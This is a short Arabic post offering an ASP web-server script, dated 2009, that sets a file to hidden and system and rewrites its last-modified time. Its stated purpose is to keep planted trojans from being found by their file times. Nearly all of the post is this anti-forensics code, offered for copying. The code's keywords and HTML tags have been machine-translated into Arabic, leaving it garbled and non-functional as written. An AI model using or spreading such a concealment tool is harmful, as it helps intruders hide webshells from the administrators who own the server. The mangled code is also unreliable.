يقوم Aspshell بإخفاء وقت التعديل الأخير للملف وتعديله، ولذلك، عند البحث عن أحصنة طروادة في المستقبل، لا يمكنك الحكم ببساطة بناءً على الوقت. انسخ رمز الكود كما يلي:
<%
'إخفاء وتعديل وقت التعديل الأخير للملف aspshell
'المبدأ: يمكنك تعديل سمات الملف من خلال FSO، مثل تعيينه للقراءة فقط، أو مخفي، أو نظام، وما إلى ذلك؛ تقوم سمات السمات في FSO بتعديل سمات الملف، 1 للقراءة فقط، 2 مخفي، و4 هو ملف النظام
'يمكنك إعادة تعيين وقت التعديل الأخير للملف من خلال shell.application
'2009/02/24 أكتب بواسطة skyfire
Response.write <طريقة النموذج = النشر>
مسار الاستجابة.كتابة: <input name=path value='&server.mappath(/)&' size='30'>(يجب أن ينتهي بـ /)<br />
اسم ملف الاستجابة.كتابة: <اسم الإدخال=قيمة اسم الملف='test.txt' size='30'><br />
وقت تعديل الاستجابة: <اسم الإدخال=قيمة الوقت='12/30/2099 12:30:30' الحجم='30'><br />
Response.write <نوع الإدخال=قيمة الإرسال=تعديل وإخفاء الملف>
استجابة.اكتب </النموذج>
'احصل على المعلمات المقدمة
تعيين المسار=request.Form(المسار)
تعيين fileName=request.Form(اسم الملف)
تعيين newTime=request.Form(time)
إذا( (لين(المسار)>0)و(لين(اسم الملف)>0)و(لين(newTime)>0) )ثم
'قم بتعيين سمات الملف من خلال fso
تعيين fso=Server.CreateObject(Scripting.FileSystemObject)
تعيين الملف=fso.getFile(path&fileName)
file.attributes=2+4 'قم بتعيين سمات الملف على نظام + المخفي
'قم بتعديل وقت التعديل الأخير للملف من خلال shell.Application
تعيين shell=Server.CreateObject(Shell.Application)
قم بتعيين app_path=shell.NameSpace(server.mappath(.))
تعيين app_file=app_path.ParseName(fileName)
app_file.Modifydate=newTime
نهاية إذا
%>